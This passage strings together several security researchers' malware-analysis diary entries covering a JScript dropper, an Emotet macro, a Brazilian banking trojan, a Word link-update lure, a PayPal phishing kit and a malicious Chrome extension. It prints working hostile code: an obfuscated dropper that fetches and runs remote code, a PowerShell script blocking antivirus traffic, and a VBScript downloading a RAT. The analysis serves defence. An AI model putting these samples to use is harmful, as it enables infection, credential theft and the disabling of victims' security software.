echo ^<?xml version=^"1.0^" ?^>^<job id=^"7824^"^>^<script language=^"JSCript^"^>^<![CDATA[var t5lTT;(function(){function a(){function b(){function b(){function c(){function d(){var g=function(d){if(b=== null){b= 0};var f=^"M^";var g=^"^";if(b=== false){b(null,0,false,1);return};f= f+ ^"S^";if(!b){b(0,1);b= null};if(c=== true){c(true);if(b=== null){b= null;return}else {return}};if(!b){b();return};f= f+ ^"X^";f= f+ ^"M^";f= f+ ^"L^";if(c=== true){c(1,1)};f= f+ ^"2^";if(c== 0){if(!b){b(true,0)};c();c= false;if(b=== 1){b();b= true;return};return}else {f= f+ ^".^"};f= f+ ^"X^";if(!c){if(!b){b()};c(0);if(b=== null){b();b= null;return};c= true;return};f= f+ ^"M^";if(b== null){b(null,true);b= null};f= f+ ^"L^";f= f+ ^"H^";f= f+ ^"T^";f= f+ ^"T^";if(!c){c();if(b=== true){return};c= null};g= ^"123^";f= f+ ^"P^";if(b=== true){b();b= 0};if(c=== null){c= null}else {if(b== 1){b()};if(d== 2){if(c=== null){c(1,0);if(b=== true){b= null;return};return};return  new ActiveXObject(f)}};return false};var j=function(k,f,g){if(!c){c= null;return};var h=^"^";if(!d){d(false,null);if(!c){c= false;if(!b){return};return};return};var j=^"^";if(b== null){b()};if(f== 3){h= ^"G^";if(b=== null){b(false,true,null);b= null};h= h+ ^"E^";h= h+ ^"T^"};if(!d){if(!c){return};return};if(g== 4){if(b=== 1){return}else {if(!d){if(!b){b= 1};d(null);d= false;if(!b){b= 1};return}};if(b== false){b(null,false,null,0,true);b= 1;return}else {j= ^"hXXps://1591523753.rsc.cdn77[.]org/p2r.php?^"}};k.Open(h,j,false)};if(c== null){c= false};var f=function(){try{var f=g(2);j(f,3,4);if(!d){d(null);if(b== null){b(0,false,1)};d= 0};f.Send();var h=f.Status;if(h+ 2== 202){var c=function(){return f.responseText};return c()}}catch(e){};if(b== true){b(false);b= true;return};if(d== 1){if(!b){b= null;return};d= null;return};if(b== 1){return};return false};if(!c){c= true;return}else {if(b=== null){b();b= 1};for(i= 0;i^< 5;i++){if(c=== null){c();if(!b){return};c= 0};var h=f();if(h){if(!b){b(0,null);return};if(!d){d(0)};eval(h+ ^"downAndExec(\^"https://1591523753.rsc.cdn77.org\^", \^"648Q\^");^");break}else {WScript.Sleep(5000)}}}}if(!b){b()};t5lTT= d;if(!d){d(1);if(!b){return}else {d= false};return};t5lTT()}(c)()}if(b=== 0){b(0,0);b= 0;return};(b)()}(b)()}(a)()})()]]^>^</script^>^</job^> > %bmh%
%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -command Start-Process '"%bmh%”'

A payload is downloaded from hXXps://1591523753.rsc.cdn77[.]org/p2r.php? (note that a valid SSL certificate is used) and two files are created:

C:\rx hsdj\o\i\x\ffax bnzx\fvenotify.exe (SHA1: 6d28d5453d0c2ca132ba3b3d7f0a121427090c1eb52f7d2a5c3e4e5440411bc7)
C:\rx hsdj\o\i\x\ffax bnzx\secur32.dll (SHA1: 2ee0c761a25310e34c9d3c9d3e810192d8bbd10d4051522e3eefdc1bd71a17bb)

The file fvenotify.exe is reported clean on VT[2] and is signed by Avast as their SafeZone Browser[3]. When I re-executed the WSF file, the name changed to "ftp.exe".

But the suspicious PE file generates a new PowerShell script in %TEMP% and executes it. It modifies the current Windows firewall rules to prevent some antivirus to "phone home”. Here is the script:

function Add-FirewallRule {
    param( 
        $name,
        $appName = $null,
        $serviceName = $null
    )

    $fw = New-Object -ComObject hnetcfg.fwpolicy2 
    $rule = New-Object -ComObject HNetCfg.FWRule
        
    $rule.Name = $name
    if ($appName -ne $null) { $rule.ApplicationName = $appName }
    if ($serviceName -ne $null) { $rule.serviceName = $serviceName }
    $rule.Protocol = 6
    $rule.Enabled = $true
    $rule.Grouping = "@firewallapi.dll,-23255"
    $rule.Profiles = 7
    $rule.Action = 0
    $rule.EdgeTraversal = $false
    $rule.Direction = 2
    
    $fw.Rules.Add($rule)
}

function FirewallEnable {
    param(
        $profile
    )

    $fw = New-Object -ComObject hnetcfg.fwpolicy2
    
    $fw.FirewallEnabled($profile) = $true
}

FirewallEnable 1
FirewallEnable 2
FirewallEnable 4

Add-FirewallRule "3txqSDF2" "%ProgramFiles%\AVAST Software\Avast\avastui.exe"
Add-FirewallRule "Ytb7kY9a" "%ProgramFiles%\AVAST Software\Avast\AvastSvc.exe"
Add-FirewallRule "xgmQL8Wb" "%ProgramFiles%\AVAST Software\Avast\setup\instup.exe"

Add-FirewallRule "ABZBkNHB" "%ProgramFiles(x86)%\AVG\Antivirus\avgui.exe"
Add-FirewallRule "eLGeMJyw" "%ProgramFiles(x86)%\AVG\Antivirus\AVGSvc.exe"
Add-FirewallRule "9LEY6ZsT" "%ProgramFiles(x86)%\AVG\Antivirus\setup\instup.exe"

Add-FirewallRule "uNUG4JaK" "%ProgramFiles%\Windows Defender\MpCmdRun.exe"
Add-FirewallRule "d9mjBtLt" "%ProgramFiles%\Windows Defender\MSASCui.exe"

Remove-Item $MyInvocation.MyCommand.Definition

The rules are indeed created:

The PE file fvenotify.exe is added to the Run registry for persistence. I'll check deeper the PE file but did you already detect the same behaviour? Please share!

[1] https://www.virustotal.com/#/file/9329de591b51c367908f2916307a4d2277caa2c766f2cecac8d06e02a2416246/detection
[2] https://www.virustotal.com/#/file/6d28d5453d0c2ca132ba3b3d7f0a121427090c1eb52f7d2a5c3e4e5440411bc7/detection
[3] https://www.avast.com/f-safezone

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Today, I would like to promote a best practice via a small Python module that is very helpful when you’re dealing with suspicious or malicious URLs. Links in documents are potentially dangerous because users can always click by mistake on them. Many automated tools and scripts are processing documents to fetch links. Even if the original document does not provide dynamic links, many applications will detect them and change them to real links. Clicking on a link could not only affect the security of the user/computer but it could also leak data or pollute statistics. A good example is the kill switch domain of WannaCry that was linked in many articles by journalists a few weeks ago.

The classic technique to prevent URLs to be “clickable” is to defang them.  Defang means, the HTML part of the URL is “changed” but still readable for the human eye. It will look like this:

"https://isc.sans.edu/" is replaced with "hXXps://isc.sans[.]edu/"

Python is a powerful language available on all operating systems and has plenty of modules. Of course, there is a “defang module” available[1]. To install it, just use pip:

# pip install defang

The module is available in your Python scripts but also as a standalone tool:

# echo https://isc.sans.edu/ | defang
hXXps://isc.sans[.]edu/

You can process an existing file, all found URLs will be defanged:

# defang -i /tmp/urls.tmp | tee /tmp/urls.txt.safe
hXXps://blog.rootshell[.]be
fXp://ftp.belnet[.]be
hXXp://www.acme[.]com

In Python:

# python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from defang import defang
>>> u="https://isc.sans.edu/"
>>> defang(u)
'hXXps://isc.sans[.]edu/'
>>>

On my MacBook, I automated this with a Service to defang the select text and replace it:

The classic scenario is to defang URLs in emails. In the Mail application, I just select the email body to defang all the URLs in one shot!

Finally, defang can also "refang" URLs:

# echo 'hXXps://blog.rootshell[.]be' | defang -r
https://blog.rootshell.be

That's easy and safer when you need to exchange malicious links with your peers!

[1] https://pypi.python.org/pypi/defang

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Jeff received an invoice via email, did not trust it and submitted it to us.

As expected, it was not an invoice, but a malicious Word document (MD5 9c4c3234f20b6102569216675b48c70a).

I do a step by step analysis in this diary entry, but you can also watch a video of the analysis:

Let's take a look with oledump.py:

As we can see from the M and m indicators, there are streams inside this OLE file with VBA macros.

Let's take a look at the first stream with macros:

This code seems to contain a lot of useless strings, to obfuscate the real malicious code. But we see an autoopen subroutine, so this code will automatically execute when the document is opened (and permissions are given).

One of the tricks I like to use to quickly search through obfuscated code, is to look at lines that contain a dot (.), like this:

So we see CreateObject, with Run$. And also an expression accessing the "Comments" document property.

Let's take a look at the metadata:

It sure looks like the comments property contains BASE64 data. Let's try to decode it with base64dump.py:

This looks like UNICODE text, let's take a closer look:

It's definitively UNICODE text, a PowerShell script.

Let's extract it (option -S dumps strings):

This PowerShell script is obfuscated: backquotes are used inside variable names (W`scR`Ipt) and strings are split.

But we can still see that some string fragments contain URLs. We can take the PowerShell expression that concatenates the split string with URLs, to recover the URL. Doing this in PowerShell is not a risk, since this is a pure string expression that does not execute any malicious code.

When I did this analysis, 4 URLs were still active and hosted the same malicious executable (MD5 72fd33962214213bfa5d5a166e21b526): a variant of Emotet.

Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1. Introduction

After receiving quite a big amount of malspam with similar messages in my honeypots this week, I decided to dedicate some time to analyze what it was about. To my surprise, after peeling multiple encoding layers protecting the malware’s core (felt like peeling an onion), I could finally find a sophisticated and well structured  banker malware capable of stealing victims' credentials of at least 10 of the biggest Brazilian public and private banks and other financial institutions. Additionally, it can also steal browser, SSH and FTP local stored credentials.

The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it's being identified as a "Generic Trojan" by most of VirusTotal (VT) engines, let's name it "EngineBox"— the core malware class I saw after reverse engineering it.

In today's diary, I'm going to describe the main technical aspects of EngineBox. Let's start with the fluxogram in Figure 1, which illustrates the malware's behavior since the infection vector to the malicious actions. Follow the numbers in blue.

Figure 1 - EngineBox Fluxogram

2. Privilege Escalation

In order to escalate privileges, the malware tries to exploit a Microsoft Windows vulnerability from March/2016 addressed by the security advisory MS16–032[1]. Although quite old, it seems really promising for attackers as it affects virtually any Windows version from Vista to 2012. Unfortunately, the number of victims in the IRC channel (floating around 300) proves us that applying patches is taking longer than it should.

The respective public exploit[2] is embedded into EngineBox, as seen in Figure 2. Part of malware reverse engineering was done using ILSpy software [3].

Figure 2?—?MS16–032 exploit

3. The Local HTTP Proxy

One of the credential stealing capabilities is employed by a technique known as man-in-the-browser [4] which the malware intercepts the browser communication with the Internet and collects sensitive information, as passwords.

In this case, EngineBox runs a HTTP Proxy on the victim's machine and points the Internet browsers configurations to it, as seen in the reversed source snippet in Figure 3. It doesn’t matter if you’re using IE, Firefox, Chrome or another popular browser, most of them are supported by EngineBox.

Figure 3?—?setProxySystem EngineBox function

To implement the HTTP Proxy, the malware embedded a software known as Fiddler, as seen in Figure 4.

Figure 4? - Fiddler Proxy class embedded into EngineBox malware

4. Password stealing

After that, EngineBox starts to monitor victim's Internet access and accessed URLs. If it matches one of the supported financial institutions, another part of the code comes into play. In the Figure 5, it's possible to see some of the URLs and paths the malware is watching for.

Figure 6?—?URLs and paths sample

Case one of those URLs or paths are reached, the connection is manipulated in a way that the typed credentials are sent to the IRC C&C channel and the user receives a fake response as if that transaction occurred correctly. This behavior is illustrated in the Figure 6.

Figure 6?—?Password Stealing

5. The backdoor

Additional to the banking credential stealing, the malware also acts as a RAT (Remote Access Trojan) which allows the attacker easy and unrestricted access to the victim's machine. The code snippet in Figure 7 might give you an idea of what they could do.

Figure 7—?Sample RAT functions

6. Final words

Analyzing the malware banking transactions manipulation functions, it was quite clear that, beyond collecting passwords, the malware is also trying to collect the token used to authorize the financial transaction (a kind of second factor). It poses an additional challenge to the traditional solutions that rely on short-lived tokens (physical or digital) as they may be intercepted and used to authorize a fraudulent transaction. In this case, the crooks challenge is doing it into the timeframe the token is valid; usually a few seconds depending on the technology.

Another thing that caught my attention was that, beyond the big number of supported financial institutions, it also collects passwords for services like cable TV and market places portals.

7. IOCs

Files

MD5 (W7.zip) = f9f6bc998dcb8a3f04dffcc6b81dcfc3
MD5 (W7.dll) = e99d3c9d3ee9c8a8448aa3d427c04f0e
MD5 (1508201700016067882247230289631.vbs) = 78b86206541debb3819e51b7e9c48434
MD5 (aw7.tiff) = bb6756c97ab58fdfeecfe8c75b4bb81e
MD5 (aw7.dll) = 90ce84d389eabf96b4ad2f3bb083dada
MD5 (malware-binary.exe) = eb32c070e658937aa9fa9f3ae629b2b8
MD5 (westeros-x.ps) = f476db89c2f6621cc36c4a7a11e1e7a3

URLs/IPs

hxxp://vimfvl6s.bslah3d1ajofjeatqu1qlkiurm0iyzwd.xyz/vzcD8L.php?vzcD8L=vIMfVL6sSUPORTE
hxxp://170.254.236.10/westeros/x

IRC

54.232.207.222:443 (the connection is not over SSL)

8. References

[1] https://technet.microsoft.com/en-us/library/security/ms16-032.aspx
[2] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
[3] http://www.ilspy.net/
[4] https://www.sans.org/reading-room/whitepapers/forensics/analyzing-man-in-the-browser-mitb-attacks-35687

--
Renato Marinho
Morphus Labs | LinkedIn | Twitter

There is nothing new about Wireshark releasing an update; however, the new 2.4 branch has new feature that is quite useful that I have been waiting to be able to use for a while. In case you missed it, tshark now has the ability to Export Objects. I have tested the export using large pcap files with multiple objects and tshark does a good job "dumping" all the files in the specified directory (i.e. destdir).

To extract HTTP or SMB objects from the command-line, run the following command:

tshark -nr file.pcap --export-objects http,destdir
tshark -nr file.pcap --export-objects smb,destdir

[1] https://www.wireshark.org/#download

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Yesterday, while hunting, I found another malicious document that (ab)used a Microsoft Word feature: auto-update of links. This feature is enabled by default for any newly created document (that was the case for my Word 2016 version). If you add links to external resources like URLs, Word will automatically update them without any warning or prompt.

You can check the status of the feature with the “File” menu, “Options” then “General”:

The infection vector was classic: The document ("N_Order#xxxxx.docx" with 5 random numbers) was received as an attachment and has a VT score of 12/59 this morning[1]. The file has an embedded link to another document which is a malicious RTF file that tries to exploit the %%cve:2017-0199%%. The link has the auto-update feature enabled as you can see:

The RTF document is located at hxxp://uploads[.]shanatan[.]moe/uhjytx.doc. Word is trying to access the malicious document as seen in the network capture:

OPTIONS / HTTP/1.1
User-Agent: Microsoft Office Protocol Discovery
Host: uploads.shanatan.moe
Content-Length: 0
Connection: Keep-Alive

OPTIONS / HTTP/1.1
Connection: Keep-Alive
User-Agent: DavClnt
translate: f
Host: uploads.shanatan.moe

GET /uhjytx.doc HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MSOffice 12)
Accept-Encoding: gzip, deflate
Host: uploads.shanatan.moe
Connection: Keep-Alive

The RTF document is a classic one with a VT score of 31/57[2]. It downloads a Javascript payload from hxxps://i[.]memenet[.]org/wqlsv.hta. It creates a shell object to spawn a Powershell command and download a malicious PE file. (Note: the code has been beautified)

<script type="text/vbscript”>
set shhh = CreateObject(“WScript.Shell”)
Dim var1
var1 = “PowerShell (New-Object System.Net.WebClient).DownloadFile(‘hxxp://indiancraftz[.]com/anold/server.exe’,'%temp%\svchost32.exe’);Start-Process ‘%temp%\svchost32.exe’”
shhh.run var1,vbHide
self.close
</script>

The PE file located at hxxp://indiancraftz[.]com/anold/server.exe has a VT score of 17/65[3]. It looks to be a Netwire RAT[4] phoning home to 185.140.53.212:3380 (located in Germany)

[1] https://www.virustotal.com/#/file/01a6a9bf35aad6b7a764043d569168638ee4323b763e8625db34bef110357b40/detection
[2] https://www.virustotal.com/#/file/e1a357123f06286a5fcd54068dc979dbdf0125c3b6af5baf206d6ef7958f8940/detection
[3] https://www.virustotal.com/#/file/ddac68769ce9407f7bebdf246c820eec203224a918904edcb11d47ee8ec68256/detection
[4] https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

They are plenty of phishing kits in the wild that try to lure victims to provide their credentials. Services like Paypal are nice targets and we can find new fake pages almost daily. Sometimes, the web server isn’t properly configured and the source code is publicly available. A few days ago, I was lucky to find a ZIP archive containing a very nice phishing kit targeting Paypal. I took some time to have a look at it.

I presume that the kit is related to a spam campaign but I did not get the initial email. Based on the quality of the kit, I suspect the email to be properly written. As usual, it starts with the classic Paypal login page:

Then a fake verification page is displayed to warn the victim that a check of the account must be performed. Note that the values are hard coded.

The next steps ask the victim to enter his/her details, including banking details.

Graphically, the different pages are very clean and use components from the Paypal website to reproduce a look and feel very close to the official pages. Let’s have a look at the code now.

First the timezone is set to Tokyo with the date_default_timezone_set() PHP function. Some comments in the code reveal that the attacker is speaking Indonesian (example: “masuk” means “sign in”). The victim’s IP address, user-agent are logged in a log file. Then, the kit protects itself against crawlers and security scanners or infosec companies. Before displaying the login page, they are controls performed via .htaccess to blocklist some IP addresses or User-Agents:

RewriteCond %{HTTP_USER_AGENT} ^googlebot [OR]
RewriteCond %{HTTP_USER_AGENT} ^TweetmemeBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]

order allow,deny
deny from x.123.119.163
deny from x.163.233.200
deny from x.169.29.56
deny from x.65.136.19
deny from x.2o7.com
deny from x.56.163.46
deny from x.56.163.64
deny from x.20.57.227

There is also a second check of the IP address included in the PHP code. If a valid IP address or User-Agent is detected, an HTTP error 404 (page not found) is returned. Geolocation of the victim is performed via www.geoplugin.net.  To generate unique URLs, the phishing kit copies itself into a temporary directory (randomly generated). This helps to protect against basic filtering in IDS or firewalls.

After the victim provided his/her credentials, the nice feature is a connection attempt to Paypal to try to validate them. If it works, useful information is extracted from the HTML code. The following URLs are used to achieve this:

https://www.paypal.com/cgi-bin/webscr?cmd=_profile-address
https://www.paypal.com/cgi-bin/webscr?cmd=_profile-phone

When the verification screens are displayed to the victim, fields are prefilled with the extracted information from Paypal. This is really evil! All fields are also validated to prevent garbage and increase the change to capture real data. Depending on the card number that the victim provided, a next screen is presented to fill bank details. Based on the source code, three countries are targeted: US, CA and UK. Depending on the bank, specific forms are displayed to request valid connection details. Here are the US bank listed in the code:

else if ($negara=="US") { echo '
<p class="field" >&#x0042;ank Name :
 <select id="bank" name="bnknameus" style="padding-left:4%;">
    <option value="">Select &#x0042;ank</options>
    <option value="Ally Financial">Ally Financial</options>
    <option value="American Express Company">American Express Company</options>
    <option value="BB&T">BB&T</options>
    <option value="Bank of America">Bank of America</options>
    <option value="Bank of New York Mellon">Bank of New York Mellon</options>
    <option value="Charles Schwab Corporation">Charles Schwab Corporation</options>
    <option value="Capital One">Capital One</options>
    <option value="Citizens Financial Group">Citizens Financial Group</options>
    <option value="Citigroup">Citigroup</options>
    <option value="Fifth Third Bank">Fifth Third Bank</options>
    <option value="Goldman Sachs">Goldman Sachs</options>
    <option value="HSBC Bank USA">HSBC Bank USA</options>
    <option value="JPMorgan Chase">JPMorgan Chase</options>
    <option value="Morgan Stanley">Morgan Stanley</options>
    <option value="PNC Financial Services">PNC Financial Services</options>
    <option value="SunTrust Banks">SunTrust Banks</options>
    <option value="State Street Corporation">State Street Corporation</options>
    <option value="TD Bank">TD Bank, N.A.</options>
    <option value="US Bancorp">U.S. Bancorp</options>
    <option value="Wells Fargo">Wells Fargo</options>
    <option value="otherus">Other</options>
</select>

At the end of the “verification process”, an email is sent to the attacker with all the victim's details. The destination is a gmail.com account. Here is an example of data exfiltrated to the attacker:

++-----[ $$ [-]Cikampek-T34m[-]  $$ ]-----++

     .++=====[ Tukang Credit ]=====++.
Cardholder Name :  Test Test
Card Number     :  4111 1111 1111 1111
Expiration Date :  05 / 2019
Cvv2            :  111
BIN/IIN Info    :   -  -  - 
Sort Code       :   -  - 
Account number  :  
BSB - OSID      :   - 
Credit Limit    :  
Mother's name   :  
Account Name    :  
Address Line 1  :  Address1
Address Line 2  :  
City/Town       :  City
State           :  State
Zip/PostCode    :  1000
Country         :  
Phone Number    :  0123456789
SSN             :   -  - 
ID Number       :  
DOB             :  3 / 3 / 1991
     .++=========[ End ]=========++.

     .++=======[ PC Info ]=======++.
From            :  172.16.0.20 On Wed, 16 Aug 2017 08:00:07 +0200
Browser         :  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
     .++=========[ End ]=========++.

++-----[ $$ [N]e[V]e[R] [GIVE UP] $$ ]-----++

If most phishing kits remain simple and can be easily spotted by the victims, some of them are really well developed and harder to catch, especially if the URL used is nicely chosen and distributed via HTTPS. This kit was huge with more than 300 files in a 1.8MB ZIP file. Take care!

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Introduction

A new day, a new way to steal bank data in Brazil. Scammers are calling and urging victims to install a supposed update of the bank's security module. In fact, it is a malicious extension of Google Chrome capable of capturing the information entered by the user during access to the bank account.

Unlike the traditional campaigns involving this type of malware, shot randomly betting on the scale, this seems to be focused on a few but promising corporate targets. As a result, this campaign malware that runs away from the noisy binary code pattern seems to be flying under the radar. At the time of writing, the files that make up the malware in question, developed in JavaScript, have a detection rate of 0 (zero) in VirusTotal [1]. See Figure 1.

 

Figure 1 - Zero Detection Rate in VirusTotal

 

The Phone Call

This is not the first time we have noticed the use of telephone calls as a social engineering tool by fraudsters [2]. Generally, they map the company and people involved in the financial sector via social networks and contact them as if they were bank employees.

This time, they called the person in charge of the financial sector of a company and informed that a new version of the bank's security module would be available. If the installation was not done at that time, the company could lose access to the account.

In the sequence, they provided the address for installing the alleged module. In Figure 2, a screenshot of the site provided by the criminals.

Figure 2 – “Security Module” update

 

By clicking "Install," the user is directed to the installation page for a Chrome extension, as shown in Figure 3. Note that the extension is properly hosted in the official browser app store, which helps to give credibility to the procedure.

 

Figure 3 - Chrome malicious extension install screen

Once the victim has followed the guidelines and installed the fake module, the fraudster guides the victim to a test access to the company’s bank account. It is at this moment that the information is stolen, as detailed in the next session.

Malware Analysis

In this section I will deal with some more technical aspects of the malicious activity of capturing and sending the bank's data of the victim performed by the malicious extension. The following steps were taken in a controlled and monitored environment.

As can be seen in Figure 4, the newly installed extension can read and change all data on the websites visited by the user. This obviously includes agency, account, and password data used in bank account authentication.

Figure 4 - Malware extension permissions details

After installation, the malicious extension will then monitor in the background all web accesses made with Google Chrome. The malware activation trigger happens when a specific URL of the database is accessed, as seen in Figure 5.

Figure 5 - Monitoring the bank URL

Using a lab computer with the extension installed, I started with dynamic analysis. I visited the bank's website and entered some fictitious data while monitoring network traffic, filesystem, Windows registry records, and so on. After a few attempts, nothing suspicious was identified. I wasn’t certainly triggered the malware in the right way. Time to migrate to static analysis.

When I looked at the source code of the extension, I identified that the malware, developed in JavaScript, was waiting for an access to the corporate login page (PJ) to start capturing data.

I then accessed the expected address while monitoring the malicious extension action again. When I entered the username and password, I verified that the "window.top.Dummy.document.forms[0].G4" (G4) field was being fed with a coded value, according to Figure 6.

 

Figure 6 - Creation of a coded value as user and password were entered

Comparing the behavior of this same procedure in an environment without the malicious extension, I realized that this value was not changed, indicating that the malicious code had come into action.

Analyzing the code in Figure 7, I verify that the encoding of this value is done through the "window.btoa" function, which converts text content to base64 - a function widely used for serializing data that needs to be transmitted over the network, for example. Note that the function is applied twice - perhaps with the goal of disguising the base64 value that could easily be converted to its original value during a preliminary analysis.

 

Figure 7 - Capturing bank access data

By doing the inverse encoding path, I find that the encoded value contains the credentials (username and password) to the dummy account typed earlier, as shown in Figure 8.

Figure 8 - Decoding the value created by malware

So far, I have identified the malware's intent to collect the information, but I had not yet identified the theft of the information, I mean, sending it to the attacker.

Returning to the extension source code, I identified a connection routine that is triggered under two conditions: when the contents of a given variable have a number of characters greater than 10 (ten) and when the value of variable G4 is different from " Ok1 ", as shown in Figure 9.

Figure 9 - Condition for sending information

I note that the variable that is expected to have a size greater than 10 is exactly the one that stores the password entered by the user at the time of login "document.forms [0] .pwd" (pwd). Since the password input field on the login page only supports 8 characters, I had just found out why the data send function had not been triggered.

It is very likely that the value of the pwd variable will actually have a length greater than 10 characters after a successful login. Maybe it's converted into a password hash value. If our suspicion is correct, the objective of the fraudsters with this is to avoid receiving information from failed authentication attempts.

To bypass this restriction, I manipulated the value of the password field size to accommodate a larger number of characters. To do this, I use Chrome's own inspection module that allows you to make changes to the content of the page locally, as seen in Figure 10.

Figure 10 - Changing the maximum size of the password field

After this changing, when I submitted the form, I finally identified the outgoing connection of the collected data to an address contained in the malware code, as seen in Figures 11 and 12.

Figure 11 - URL for receiving the data

 

Figure 12 – DNS name resolution

After the name resolution, an HTTPS outgoing connection to the address embedded in the malware code for sending the data occurs was seen. As the connection as done using SSL encryption, I had to use a well-known attack strategy in this scenario called man-in-the-middle or MITM. It allowed me to intercept the contents of the connection in plain text, as can be seen in Figure 13.

Figure 13 – Information theft

Note: By doing this type of attack, by default Google Chrome does not allow unrestricted access to secure content (SSL) - especially when the site uses HSTS. To bypass this control, I use the "- ignore-certificate-errors" Google Chrome parameter.

By decoding the value (2 x base64-decoding) posted by the malware over the SSL connection, I obtained exactly the user credentials used in the experiments, as shown in Figure 14.

Figure 14 – Decoding sent data

In addition to username and password data, malware sends out two session variables (sessionStorage.pm_fp and sessionStorage.ksc). They are likely to be used by attackers to authenticate into the bank portal.

Final words

The analysis of this case led me to some reflections and final considerations:

• Criminals increasingly take advantage of people's confidence in large institutions to increase the success rate of their malicious campaigns. This time it was on Google and last month, on Uber [3];
• Information theft happens while the user accesses the real site of the financial institution. All security checks, such as watching the digital certificate, if the address is correct, URL filters and so on, will not be enough to avoid the problem this time;
• Just as the malware collected the login information, it could also manipulate, for example, the data from a transfer transaction by changing the destination of that transaction;
• During the experiments, when I tried to monitor Google Chrome connections with a proxy (Burp), I noticed that the malicious extension did not follow the system proxy settings. The connections were established directly with the scam server via an HTTPS connection. Should a browser extension have this permission level?
• Although the user consented to allow the extension access to all information on the websites accessed, it would be interesting for Google Chrome to monitor and block access sensitive information such as passwords. The user should be asked to give additional authorization in these cases;
• From the point of view of antimalware solutions, the challenge is to identify the malicious action performed by a code that uses legitimate function calls. There is no attempt to escalate privileges or access to improper memory areas, for example;
• In a quick search on Google, I found a few cases of malicious code in extensions of Google Chome [4] [5]. Maybe we are just at the beginning of this new wave?
• Finally, remember to include this scenario to your threat model and train the employees;

 

Indicator of Compromise (IOCs)

Files

MD5 (background.min.js) = f87aea66b827630ce34ee96d009503c5
MD5 (content.min.js) = a33f4b130040634cdea39693d3781082
MD5 (manifest.json) = 8d3688f3d4305d188107526ad84beddf

Hosts/IP addresses

suporteinfo.zapto.org
200.98.142.67

References:

[1]https://www.virustotal.com/#/file/ac1eaa92ac1116a7224ee161e0e3099ad2b5a06231058871ce870c7f76140ca9/detection
[2] https://morphuslabs.com/a-very-convincing-typosquatting-social-engineering-campaign-is-targeting-santander-corporate-8de402e9c574
[3] https://isc.sans.edu/forums/diary/Uber+drivers+new+threat+the+passenger/22626/1

[4] https://blog.malwarebytes.com/threat-analysis/2016/01/rogue-google-chrome-extension-spies-on-you/
[5] https://www.welivesecurity.com/2013/03/13/how-theola-malware-uses-a-chrome-plugin-for-banking-fraud/

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Introduction

I've been corresponding with @dvk01uk about malicious spam (malspam) pushing the Trickbot banking Trojan.  Trickbot was first reported in the fall of 2016, and it's been described as a successor to Dyreza (also known as Dyre).  In-depth analysis on recent versions of Trickbot have been published by the S2 Group and the Malwarebytes Blog, but @dvk01uk continues to find examples targeting the United Kingdom (UK) on a near-daily basis.  These examples have been documented at My Online Security.

Recent waves of malspam pushing Trickbot are concerning, because domains used to send these emails are extremely plausible imitations of financial institutions or government sites.  An average person can easily believe these sites are legitimate, when in fact they are not.  Examples of fake sites from the past few weeks include:

• hsbcdocs.co.uk
• hmrccommunication.co.uk
• lloydsbacs.co.uk
• nationwidesecure.co.uk
• natwestdocuments6.ml
• santanderdocs.co.uk
• santandersecuremessage.com
• securenatwest.co.uk

Almost all of these domains were registered through GoDaddy using various names or privacy services.  And these domains were implemented on servers using full email authentication and HTTPS.  Many recipients could easily be tricked into opening the associated attachments.

Malspam pushing Trickbot ultimately uses malicious macros in Microsoft Office documents (like Word documents or Excel spreadsheets) to download and install the malware.  Within the past week, this malspam has been using HTML attachments.  These HTML files are designed to download Office documents using HTTPS in an effort to evade detection through encrypted network traffic.

Shown above:  Chain of events for an infection from this malspam.

HTML attachments to download Office documents, eh?  It's not a new trick.  But using this method, poorly-managed Windows hosts (or Windows computers using a default configuration) are susceptible to infection.

Today's diary investigates an example of this malspam from Monday 2017-08-14, originally documented here.

Email, HTML attachment, and Word document

I wasn't able to get a copy of the malspam.  I only got the date, sending address, subject line, and the attachment's text.  But that was enough to get an idea of the email and generate some infection traffic.

The malspam is disguised as a message from Santander Bank (US headquarters in Boston, Massachusetts, with locations in the UK, Brazil, and various other countries).  The HTML attachment is designed to download a Word document if you double-click on it from a Windows host.

Shown above:  A recreation of the malspam.

Shown above:  HTML file attached to the malspam.

Shown above:  Malicious Word document sent from the same server that sent the email.

Shown above:  Enable macros on the Word document to get infected.

Why would someone enable macros on this Word document?  Because they cannot use the login form on the page.  Instructions show how to enable macros if you cannot login through the Word document.  It's silly, I know, but a technique like this could be trusted by an unsuspecting recipient.

Shown above:  Instructions to enable macros if you cannot log in.

Network traffic

